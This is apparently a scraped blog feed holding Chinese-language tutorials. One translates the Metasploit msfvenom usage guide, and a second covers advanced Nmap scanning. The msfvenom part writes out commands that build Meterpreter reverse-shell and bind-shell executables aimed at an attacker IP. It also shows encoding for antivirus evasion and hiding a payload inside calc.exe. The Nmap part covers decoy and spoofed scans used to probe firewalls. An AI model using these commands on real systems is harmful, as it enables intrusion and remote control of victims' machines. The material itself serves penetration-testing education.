并使用msfvenom取代。官方的msfvenom使用说明 戳 这里 ，下面给出翻译的使用说明。 最近一次更新的msf中已经去掉了这两个工具，同时，msfcli也即将被移除。\nkali和BT目前使用的MSF依然是旧版，所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋，可能已经发现这个东西了。\nmsfvenom命令行选项如下：\nOptions: -p, --payload \u0026lt;payload\u0026gt; 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用\u0026amp;#039;-\u0026amp;#039;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled \u0026lt;length\u0026gt; 为payload预先指定一个NOP滑动长度 -f, --format \u0026lt;format\u0026gt; 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder（编码器） -a, --arch \u0026lt;architecture\u0026gt; 指定payload的目标架构 --platform \u0026lt;platform\u0026gt; 指定payload的目标平台 -s, --space \u0026lt;length\u0026gt; 设定有效攻击荷载的最大长度 -b, --bad-chars \u0026lt;list\u0026gt; 设定规避字符集，比如: \u0026amp;#039;\\x00\\xff\u0026amp;#039; -i, --iterations \u0026lt;count\u0026gt; 指定payload的编码次数 -c, --add-code \u0026lt;path\u0026gt; 指定一个附加的win32 shellcode文件 -x, --template \u0026lt;path\u0026gt; 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作，注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out \u0026lt;path\u0026gt; 保存payload -v, --var-name \u0026lt;name\u0026gt; 指定一个自定义的变量，以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 生成payload\n生成payload，有有两个必须的选项：-p -f\n使用-p 来指定要使用的payload。\n可以使用下面的命令来查看所有msf可用的payload列表\n./msfvenom -l payloads -p选项也支持使用使用自定义的payload，需要使用 \u0026ldquo;-\u0026quot;，比如:\ncat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw 使用-f 来指定payload的输出格式\n举例：\n./msfvenom -p windows/meterpreter/bind_tcp -f exe 使用下面的命令，可以产看msf支持的输出格式\n./msfvenom --help-formats 一个典型的msfvenom使用举例如下：\n$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker\u0026amp;#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe 对payload进行编码\n如果你使用了-b选项（设定了规避字符集），会自动调用编码器。\n其他情况下，你需要使用-e选项来使用编码模块，例如：\n./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令，来查看可用的编码器\n./msfvenom -l encoders 你也可以使用-i选项进行多次编码。某些情况下，迭代编码可以起到规避杀毒软件的作用，但你需要知道，编码并没有使用一个真正意义上的AV规避方案。\n可以使用下面的命令来进行迭代编码：\n./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 规避字符\n使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候，msfvenom会自动的使用合适的编码器对payload进行编码，比如：\n./msfvenom -p windows/meterpreter/bind_tcp -b \u0026amp;#039;\\x00\u0026amp;#039; -f raw 使用自定义可执行文件模板\n默认的，msfvenom使用的模板文件保存在msf/data/templates目录中，如果你想使用你自己的模板文件，你可以使用-x选项来指定，比如：\n./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe \u0026gt; new.exe 这个命令将使用windows下计算器程序（calc.exe）作为可执行文件的模板生成payload。\n注意：如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload，你只能使用exe格式的模板。\n使用-x选项经常和-k选项配合使用，-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp\n","permalink":"https://www.lucien116.com/archives/76/","summary":"\u003cp\u003e\u003cstrong\u003e2015年6月8日，Wei Chen在rapid7官方博客上发文，将于近期 \u003ca href=\"https://community.rapid7.com/community/metasploit/blog/2015/06/08/msfpayload-and-msfencode-are-being-removed-from-metasploit\"\u003e移除metasploit-framework版本中的msfencoder和msfpayload\u003c/a\u003e，\u003c/strong\u003e \u003cstrong\u003e并使用msfvenom取代。官方的msfvenom使用说明\u003c/strong\u003e \u003ca href=\"https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom\"\u003e\u003cstrong\u003e戳\u003c/strong\u003e \u003cstrong\u003e这里\u003c/strong\u003e\u003c/a\u003e \u003cstrong\u003e，下面给出翻译的使用说明。\u003c/strong\u003e \u003ca href=\"http://image.3001.net/images/20150710/14365069167395.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/images/20150710/14365069167395.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e最近一次更新的msf中已经去掉了这两个工具，同时，msfcli也即将被移除。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20150710/14365069227667.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/images/20150710/14365069227667.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ekali和BT目前使用的MSF依然是旧版，所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋，可能已经发现这个东西了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20150710/14365069277221.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/images/20150710/14365069277221.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003emsfvenom命令行选项如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e    \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e       \u003cspan class=\"err\"\u003e指定需要使用的\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e攻击荷载\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"err\"\u003e。如果需要使用自定义的\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\u003cspan class=\"err\"\u003e，请使用\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"c1\"\u003e#039;-\u0026amp;#039;或者stdin指定\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003el\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e       \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003emodule_type\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e   \u003cspan class=\"err\"\u003e列出指定模块的所有可用资源\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"err\"\u003e模块类型包括\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003epayloads\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eencoders\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003enops\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eall\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003enopsled\u003c/span\u003e    \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e        \u003cspan class=\"err\"\u003e为\u003c/span\u003e\u003cspan class=\"n\"\u003epayload预先指定一个NOP滑动长度\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e     \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e        \u003cspan class=\"err\"\u003e指定输出格式\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e使用\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003ehelp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eformats\u003c/span\u003e \u003cspan class=\"err\"\u003e来获取\u003c/span\u003e\u003cspan class=\"n\"\u003emsf支持的输出格式列表\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eencoder\u003c/span\u003e    \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eencoder\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e       \u003cspan class=\"err\"\u003e指定需要使用的\u003c/span\u003e\u003cspan class=\"n\"\u003eencoder\u003c/span\u003e\u003cspan class=\"err\"\u003e（编码器）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003earch\u003c/span\u003e       \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003earchitecture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e  \u003cspan class=\"err\"\u003e指定\u003c/span\u003e\u003cspan class=\"n\"\u003epayload的目标架构\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eplatform\u003c/span\u003e   \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eplatform\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e      \u003cspan class=\"err\"\u003e指定\u003c/span\u003e\u003cspan class=\"n\"\u003epayload的目标平台\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003espace\u003c/span\u003e      \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e        \u003cspan class=\"err\"\u003e设定有效攻击荷载的最大长度\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003ebad\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003echars\u003c/span\u003e  \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e          \u003cspan class=\"err\"\u003e设定规避字符集，比如\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"c1\"\u003e#039;\\x00\\xff\u0026amp;#039;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eiterations\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e         \u003cspan class=\"err\"\u003e指定\u003c/span\u003e\u003cspan class=\"n\"\u003epayload的编码次数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e   \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e          \u003cspan class=\"err\"\u003e指定一个附加的\u003c/span\u003e\u003cspan class=\"n\"\u003ewin32\u003c/span\u003e \u003cspan class=\"n\"\u003eshellcode文件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003etemplate\u003c/span\u003e   \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e          \u003cspan class=\"err\"\u003e指定一个自定义的可执行文件作为模板\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003ekeep\u003c/span\u003e                       \u003cspan class=\"err\"\u003e保护模板程序的动作，注入的\u003c/span\u003e\u003cspan class=\"n\"\u003epayload作为一个新的进程运行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eoptions\u003c/span\u003e            \u003cspan class=\"err\"\u003e列举\u003c/span\u003e\u003cspan class=\"n\"\u003epayload的标准选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eout\u003c/span\u003e   \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e               \u003cspan class=\"err\"\u003e保存\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ev\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"k\"\u003evar\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e            \u003cspan class=\"err\"\u003e指定一个自定义的变量，以确定输出格式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eshellest\u003c/span\u003e                   \u003cspan class=\"err\"\u003e最小化生成\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eh\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003ehelp\u003c/span\u003e                       \u003cspan class=\"err\"\u003e查看帮助选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003ehelp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eformats\u003c/span\u003e               \u003cspan class=\"err\"\u003e查看\u003c/span\u003e\u003cspan class=\"n\"\u003emsf支持的输出格式列表\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e生成payload\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e生成payload，有有两个必须的选项：-p -f\u003c/p\u003e\n\u003cp\u003e使用-p 来指定要使用的payload。\u003c/p\u003e\n\u003cp\u003e可以使用下面的命令来查看所有msf可用的payload列表\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e./\u003c/span\u003e\u003cspan class=\"n\"\u003emsfvenom\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003el\u003c/span\u003e \u003cspan class=\"n\"\u003epayloads\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e-p选项也支持使用使用自定义的payload，需要使用 \u0026ldquo;-\u0026quot;，比如:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecat\u003c/span\u003e \u003cspan class=\"n\"\u003epayload_file\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebin\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e./\u003c/span\u003e\u003cspan class=\"n\"\u003emsfvenom\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003ex86\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"n\"\u003eplatform\u003c/span\u003e \u003cspan class=\"n\"\u003ewin\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e \u003cspan class=\"n\"\u003ex86\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eshikata_ga_nai\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"n\"\u003eraw\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用-f 来指定payload的输出格式\u003c/p\u003e\n\u003cp\u003e举例：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e./msfvenom -p windows/meterpreter/bind_tcp -f exe\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用下面的命令，可以产看msf支持的输出格式\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e./msfvenom --help-formats\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e一个典型的msfvenom使用举例如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e \u003cspan class=\"o\"\u003e./\u003c/span\u003e\u003cspan class=\"n\"\u003emsfvenom\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"n\"\u003ewindows\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003emeterpreter\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ereverse_tcp\u003c/span\u003e \u003cspan class=\"n\"\u003elhost\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eAttacker\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"c1\"\u003e#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e对payload进行编码\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e如果你使用了-b选项（设定了规避字符集），会自动调用编码器。\u003c/p\u003e\n\u003cp\u003e其他情况下，你需要使用-e选项来使用编码模块，例如：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e可以使用下面的命令，来查看可用的编码器\u003c/p\u003e","title":"Meatsploit Framework msfvenom使用简介"},{"content":"Nmap提供了四项基本功能（主机发现、端口扫描、服务与版本侦测、OS侦测）及丰富的脚本库。Nmap既能应用于简单的网络信息扫描，也能用在高级、复杂、特定的环境中：例如扫描互联网上大量的主机；绕开防火墙/IDS/IPS；扫描Web站点；扫描路由器等等。简要回顾Nmap简单的扫描方式：\n1\n2\n3\n4\n5\n6\n7\n8\n9\n全面扫描：nmap-T4-Atargetip\n主机发现：nmap-T4-sn targetip\n端口扫描：nmap-T4 targetip\n服务扫描：nmap-T4-sV targetip\n操作系统扫描：nmap-T4-Otargetip\n上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息，则需仔细地设计Nmap命令行参数，以便精确地控制Nmap的扫描行为。\n下面列举比较实用的高级应用场景和技巧。\n1 Nmap高级选项 1.1 查看本地路由与接口 Nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时，可以查看nmap –iflist中提供的网络接口信息。\nnmap –iflist\n1.2 指定网口与IP地址 在Nmap可指定用哪个网口发送数据，-e 选项。接口的详细信息可以参考–iflist选项输出结果。\n示例：\nnmap -e eth0 targetip\nNmap也可以显式地指定发送的源端IP地址。使用-S 选项，nmap将用指定的spoofip作为源端IP来发送探测包。\n另外可以使用Decoy（诱骗）方式来掩盖真实的扫描地址，例如-D ip1,ip2,ip3,ip4,ME，这样就会产生多个虚假的ip同时对目标机进行探测，其中ME代表本机的真实地址，这样对方的防火墙不容易识别出是扫描者的身份。\nnmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1\n1.3 定制探测包 Nmap提供–scanflags选项，用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位：URG, ACK, PSH,RST, SYN,and FIN。\n例如，\nnmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip\n此命令设置全部的TCP标志位为1，可以用于某些特殊场景的探测。\n另外使用–ip-options可以定制IP包的options字段。\n使用-S指定虚假的IP地址，-D指定一组诱骗IP地址（ME代表真实地址）。-e指定发送探测包的网络接口，-g（–source- port）指定源端口，-f指定使用IP分片方式发送探测包，–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。\n2 扫描防火墙 防火墙在今天网络安全中扮演着重要的角色，如果能对防火墙系统进行详细的探测，那么绕开防火墙或渗透防火墙就更加容易。所以，此处讲解利用Nmap获取防火墙基本信息典型的用法。\n为了获取防火墙全面的信息，需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时，可以综合网络环境来微调时序参数，以便加快扫描速度。\nSYN扫描\n首先可以利用基本的SYN扫描方式探测其端口开放状态。\nnmap -sS -T4 www.lucien116.com\n扫描输出为：\n1\n2\n3\n4\n5\n6\n7\n8\n9\nAll997ports are filtered\nPORT STATE SERVICE\n80/tcp open http\n113/tcp closed auth\n507/tcp open crs\n我们可以看到SYN方式探测到3个端口开放，而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口，如果想扫描全部的端口.\n使用命令nmap -sS -T4 -p- www.lucien116.com\nFIN扫描\n然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭，收到RST回复说明该端口关闭，否则说明是open或filtered状态。\nnmap -sF -T4 www.lucien116.com\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\nPORT STATE 